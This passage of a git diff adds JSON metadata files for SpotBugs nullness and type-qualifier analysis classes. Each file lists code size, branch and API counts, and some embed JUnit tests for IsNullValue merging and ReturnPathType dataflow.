Information/checkers/ba/jsr305/JSR305NullnessAnnotations.json new file mode 100644 index 0000000..b089118 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/JSR305NullnessAnnotations.json @@ -0,0 +1,13 @@ +{ + "name": "JSR305NullnessAnnotations", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 39, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ParameterAnnotationAccumulator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ParameterAnnotationAccumulator.json new file mode 100644 index 0000000..0a00166 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ParameterAnnotationAccumulator.json @@ -0,0 +1,13 @@ +{ + "name": "ParameterAnnotationAccumulator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 6, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ParameterAnnotationLookupResult.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ParameterAnnotationLookupResult.json new file mode 100644 index 0000000..6e0ec03 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ParameterAnnotationLookupResult.json @@ -0,0 +1,13 @@ +{ + "name": "ParameterAnnotationLookupResult", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ReturnTypeAnnotationAccumulator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ReturnTypeAnnotationAccumulator.json new file mode 100644 index 0000000..70d527c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ReturnTypeAnnotationAccumulator.json @@ -0,0 +1,13 @@ +{ + "name": "ReturnTypeAnnotationAccumulator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 4, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ReturnTypeAnnotationLookupResult.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ReturnTypeAnnotationLookupResult.json new file mode 100644 index 0000000..fd46c77 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ReturnTypeAnnotationLookupResult.json @@ -0,0 +1,13 @@ +{ + "name": "ReturnTypeAnnotationLookupResult", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/SourceSinkInfo.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/SourceSinkInfo.json new file mode 100644 index 0000000..7783743 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/SourceSinkInfo.json @@ -0,0 +1,13 @@ +{ + "name": "SourceSinkInfo", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 218, + "branches": 10, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/SourceSinkType.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/SourceSinkType.json new file mode 100644 index 0000000..181d464 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/SourceSinkType.json @@ -0,0 +1,13 @@ +{ + "name": "SourceSinkType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 35, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierAnnotation.json new file mode 100644 index 0000000..72071c9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "TypeQualifierAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 197, + "branches": 9, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierAnnotationLookupResult.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierAnnotationLookupResult.json new file mode 100644 index 0000000..a79d28f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierAnnotationLookupResult.json @@ -0,0 +1,13 @@ +{ + "name": "TypeQualifierAnnotationLookupResult", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 136, + "branches": 7, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierApplications.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierApplications.json new file mode 100644 index 0000000..5971f58 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierApplications.json @@ -0,0 +1,13 @@ +{ + "name": "TypeQualifierApplications", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1085, + "branches": 161, + "apis": 150, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDatabase.json new file mode 100644 index 0000000..e3a5ae0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "TypeQualifierDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 145, + "branches": 12, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDataflow.json new file mode 100644 index 0000000..1d6d1e9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "TypeQualifierDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 45, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDataflowAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDataflowAnalysis.json new file mode 100644 index 0000000..9d27c68 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDataflowAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "TypeQualifierDataflowAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 350, + "branches": 29, + "apis": 65, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDataflowFactory.json new file mode 100644 index 0000000..a6b3598 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "TypeQualifierDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 121, + "branches": 10, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierResolver.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierResolver.json new file mode 100644 index 0000000..9d3f6a0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierResolver.json @@ -0,0 +1,13 @@ +{ + "name": "TypeQualifierResolver", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 257, + "branches": 26, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierValue.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierValue.json new file mode 100644 index 0000000..07acab3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierValue.json @@ -0,0 +1,13 @@ +{ + "name": "TypeQualifierValue", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 411, + "branches": 45, + "apis": 61, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierValueSet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierValueSet.json new file mode 100644 index 0000000..0115b1c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierValueSet.json @@ -0,0 +1,13 @@ +{ + "name": "TypeQualifierValueSet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 377, + "branches": 31, + "apis": 87, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ValidatorClassLoader.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ValidatorClassLoader.json new file mode 100644 index 0000000..4044d78 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ValidatorClassLoader.json @@ -0,0 +1,13 @@ +{ + "name": "ValidatorClassLoader", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 108, + "branches": 19, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/package-info.json new file mode 100644 index 0000000..17571aa --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 9, + "branches": 1, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/DerefFinder.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/DerefFinder.json new file mode 100644 index 0000000..b24fbfb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/DerefFinder.json @@ -0,0 +1,13 @@ +{ + "name": "DerefFinder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 224, + "branches": 31, + "apis": 70, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullConditionDecision.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullConditionDecision.json new file mode 100644 index 0000000..0da01f0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullConditionDecision.json @@ -0,0 +1,13 @@ +{ + "name": "IsNullConditionDecision", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 142, + "branches": 12, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValue.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValue.json new file mode 100644 index 0000000..d7ca272 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValue.json @@ -0,0 +1,77 @@ +{ + "name": "IsNullValue", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 601, + "branches": 50, + "apis": 30, + "test": [ + { + "description": "testMerge1", + "expected-problems": null, + "expected-linenumbers": [ + 16, + 23 + ], + "code": "@Test\n void testMerge1() {\n IsNullValue nullValue = IsNullValue.nullValue();\n IsNullValue nullExceptionValue = IsNullValue.nullValue().toExceptionValue();\n IsNullValue result = IsNullValue.merge(nullValue, nullExceptionValue);\n assertTrue(result.isDefinitelyNull());\n assertFalse(result.isException());\n }" + }, + { + "description": "testMerge2", + "expected-problems": null, + "expected-linenumbers": [ + 25, + 33 + ], + "code": "@Test\n void testMerge2() {\n IsNullValue nullExceptionValue = IsNullValue.nullValue().toExceptionValue();\n IsNullValue nonNullValue = IsNullValue.nonNullValue();\n IsNullValue nsp_e = IsNullValue.merge(nonNullValue, nullExceptionValue);\n assertTrue(nsp_e.isNullOnSomePath());\n assertTrue(nsp_e.isException());\n assertEquals(nsp_e, IsNullValue.nullOnSimplePathValue().toExceptionValue());\n }" + }, + { + "description": "testMerge3", + "expected-problems": null, + "expected-linenumbers": [ + 35, + 42 + ], + "code": "@Test\n void testMerge3() {\n IsNullValue nullValue = IsNullValue.nullValue();\n IsNullValue nsp_e = IsNullValue.nullOnSimplePathValue().toExceptionValue();\n IsNullValue nsp = IsNullValue.merge(nullValue, nsp_e);\n assertTrue(nsp.isNullOnSomePath());\n assertFalse(nsp.isException());\n }" + }, + { + "description": "testMerge4", + "expected-problems": null, + "expected-linenumbers": [ + 47, + 54 + ], + "code": "@Test\n void testMerge4() {\n IsNullValue noKaboom = IsNullValue.noKaboomNonNullValue(null);\n IsNullValue nsp_e = IsNullValue.nullOnSimplePathValue().toExceptionValue();\n IsNullValue nsp_e2 = IsNullValue.merge(noKaboom, nsp_e);\n assertTrue(nsp_e2.isNullOnSomePath());\n assertTrue(nsp_e2.isException());\n }" + }, + { + "description": "testMerge5", + "expected-problems": null, + "expected-linenumbers": [ + 56, + 63 + ], + "code": "@Test\n void testMerge5() {\n IsNullValue checkedNonNull = IsNullValue.checkedNonNullValue();\n IsNullValue nsp_e = IsNullValue.nullOnSimplePathValue().toExceptionValue();\n IsNullValue nsp_e2 = IsNullValue.merge(checkedNonNull, nsp_e);\n assertTrue(nsp_e2.isNullOnSomePath());\n assertTrue(nsp_e2.isException());\n }" + }, + { + "description": "testMerge6", + "expected-problems": null, + "expected-linenumbers": [ + 65, + 72 + ], + "code": "@Test\n void testMerge6() {\n IsNullValue checkedNull_e = IsNullValue.checkedNullValue().toExceptionValue();\n IsNullValue unknown = IsNullValue.nonReportingNotNullValue();\n IsNullValue nsp_e = IsNullValue.merge(checkedNull_e, unknown);\n assertTrue(nsp_e.isNullOnSomePath());\n assertTrue(nsp_e.isException());\n }" + }, + { + "description": "testMergeCheckForNull", + "expected-problems": null, + "expected-linenumbers": [ + 74, + 85 + ], + "code": "@Test\n void testMergeCheckForNull() {\n XMethod method = Mockito.mock(XMethod.class);\n\n IsNullValue checkedNull_e = IsNullValue.checkedNullValue().toExceptionValue();\n IsNullValue checkForNull = IsNullValue.nullOnSimplePathValue().markInformationAsComingFromReturnValueOfMethod(method,\n NullnessAnnotation.CHECK_FOR_NULL);\n IsNullValue merged = IsNullValue.merge(checkedNull_e, checkForNull);\n\n assertTrue(merged.isNullOnSomePath());\n assertFalse(merged.isCheckForNull());\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueAnalysis.json new file mode 100644 index 0000000..d471dd6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "IsNullValueAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 924, + "branches": 146, + "apis": 212, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueAnalysisFeatures.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueAnalysisFeatures.json new file mode 100644 index 0000000..a1d0284 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueAnalysisFeatures.json @@ -0,0 +1,13 @@ +{ + "name": "IsNullValueAnalysisFeatures", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 4, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueDataflow.json new file mode 100644 index 0000000..c1a9889 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "IsNullValueDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 36, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueFrame.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueFrame.json new file mode 100644 index 0000000..204a307 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueFrame.json @@ -0,0 +1,13 @@ +{ + "name": "IsNullValueFrame", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 308, + "branches": 44, + "apis": 69, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueFrameModelingVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueFrameModelingVisitor.json new file mode 100644 index 0000000..3c20263 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueFrameModelingVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "IsNullValueFrameModelingVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 523, + "branches": 67, + "apis": 122, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/LocationWhereValueBecomesNull.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/LocationWhereValueBecomesNull.json new file mode 100644 index 0000000..35a7ee1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/LocationWhereValueBecomesNull.json @@ -0,0 +1,13 @@ +{ + "name": "LocationWhereValueBecomesNull", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 105, + "branches": 4, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/MayReturnNullPropertyDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/MayReturnNullPropertyDatabase.json new file mode 100644 index 0000000..ab5f530 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/MayReturnNullPropertyDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "MayReturnNullPropertyDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NonNullParamViolation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NonNullParamViolation.json new file mode 100644 index 0000000..640ff9c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NonNullParamViolation.json @@ -0,0 +1,13 @@ +{ + "name": "NonNullParamViolation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NonNullSpecification.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NonNullSpecification.json new file mode 100644 index 0000000..d77ca20 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NonNullSpecification.json @@ -0,0 +1,13 @@ +{ + "name": "NonNullSpecification", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 66, + "branches": 4, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NullDerefAndRedundantComparisonCollector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NullDerefAndRedundantComparisonCollector.json new file mode 100644 index 0000000..d36ba13 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NullDerefAndRedundantComparisonCollector.json @@ -0,0 +1,13 @@ +{ + "name": "NullDerefAndRedundantComparisonCollector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 118, + "branches": 5, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NullDerefAndRedundantComparisonFinder.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NullDerefAndRedundantComparisonFinder.json new file mode 100644 index 0000000..09e1177 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NullDerefAndRedundantComparisonFinder.json @@ -0,0 +1,13 @@ +{ + "name": "NullDerefAndRedundantComparisonFinder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 950, + "branches": 140, + "apis": 251, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NullValueUnconditionalDeref.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NullValueUnconditionalDeref.json new file mode 100644 index 0000000..0639255 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/NullValueUnconditionalDeref.json @@ -0,0 +1,13 @@ +{ + "name": "NullValueUnconditionalDeref", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 96, + "branches": 5, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ParameterNullnessPropertyDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ParameterNullnessPropertyDatabase.json new file mode 100644 index 0000000..c21f3f0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ParameterNullnessPropertyDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "ParameterNullnessPropertyDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/PointerUsageRequiringNonNullValue.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/PointerUsageRequiringNonNullValue.json new file mode 100644 index 0000000..433f0a8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/PointerUsageRequiringNonNullValue.json @@ -0,0 +1,13 @@ +{ + "name": "PointerUsageRequiringNonNullValue", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 129, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/RedundantBranch.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/RedundantBranch.json new file mode 100644 index 0000000..60a1b43 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/RedundantBranch.json @@ -0,0 +1,13 @@ +{ + "name": "RedundantBranch", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 91, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnPathType.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnPathType.json new file mode 100644 index 0000000..6223e31 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnPathType.json @@ -0,0 +1,104 @@ +{ + "name": "ReturnPathType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 158, + "branches": 16, + "apis": 7, + "test": [ + { + "description": "testTop", + "expected-problems": null, + "expected-linenumbers": [ + 50, + 60 + ], + "code": "@Test\n void testTop() throws Exception {\n Assertions.assertFalse(top.isValid());\n Assertions.assertTrue(top.isTop());\n try {\n top.canReturnNormally();// should throw exception\n Assertions.assertTrue(false);\n } catch (DataflowAnalysisException e) {\n // Good\n }\n }" + }, + { + "description": "testCanReturnNormally", + "expected-problems": null, + "expected-linenumbers": [ + 62, + 66 + ], + "code": "@Test\n void testCanReturnNormally() throws Exception {\n Assertions.assertTrue(normal.isValid());\n Assertions.assertTrue(normal.canReturnNormally());\n }" + }, + { + "description": "testCannotReturnNormally", + "expected-problems": null, + "expected-linenumbers": [ + 68, + 72 + ], + "code": "@Test\n void testCannotReturnNormally() throws Exception {\n Assertions.assertTrue(abnormal.isValid());\n Assertions.assertFalse(abnormal.canReturnNormally());\n }" + }, + { + "description": "testMergeWithTop", + "expected-problems": null, + "expected-linenumbers": [ + 74, + 80 + ], + "code": "@Test\n void testMergeWithTop() throws Exception {\n normal.mergeWith(top);\n Assertions.assertTrue(normal.canReturnNormally());\n abnormal.mergeWith(top);\n Assertions.assertFalse(abnormal.canReturnNormally());\n }" + }, + { + "description": "testTopMergeWithNormalReturn", + "expected-problems": null, + "expected-linenumbers": [ + 82, + 86 + ], + "code": "@Test\n void testTopMergeWithNormalReturn() throws Exception {\n top.mergeWith(normal);\n Assertions.assertTrue(top.canReturnNormally());\n }" + }, + { + "description": "testTopMergeWithAbnormalReturn", + "expected-problems": null, + "expected-linenumbers": [ + 88, + 92 + ], + "code": "@Test\n void testTopMergeWithAbnormalReturn() throws Exception {\n top.mergeWith(abnormal);\n Assertions.assertFalse(top.canReturnNormally());\n }" + }, + { + "description": "testNormalMergeWIthAbnormal", + "expected-problems": null, + "expected-linenumbers": [ + 94, + 98 + ], + "code": "@Test\n void testNormalMergeWIthAbnormal() throws Exception {\n normal.mergeWith(abnormal);\n Assertions.assertTrue(normal.canReturnNormally());\n }" + }, + { + "description": "testAbnormalMergeWithNormal", + "expected-problems": null, + "expected-linenumbers": [ + 100, + 104 + ], + "code": 